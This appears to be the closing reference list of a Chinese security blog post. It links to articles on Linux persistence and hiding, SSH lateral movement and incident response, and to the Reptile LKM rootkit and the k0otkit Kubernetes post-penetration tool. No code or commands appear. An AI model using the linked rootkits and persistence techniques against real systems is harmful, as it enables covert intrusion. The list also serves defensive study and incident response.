https://www.ddosi.org/ssh-movement/
https://xz.aliyun.com/t/7338
https://www.cnblogs.com/-mo-/p/12337766.html
第3篇:Linux权限维持--隐藏篇 · 应急响应实战笔记 (bypass007.github.io)
f0rb1dd3n/Reptile: LKM Linux rootkit (github.com)
Metarget/k0otkit: k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters. (github.com)
https://www.sohu.com/a/153754894_354899
https://blog.csdn.net/fageweiketang/article/details/86665518
https://www.hacking8.com/MiscSecNotes/rookit.html

posted @ 2022-05-23 12:40  yokan  阅读(5039)  评论(3编辑  收藏  举报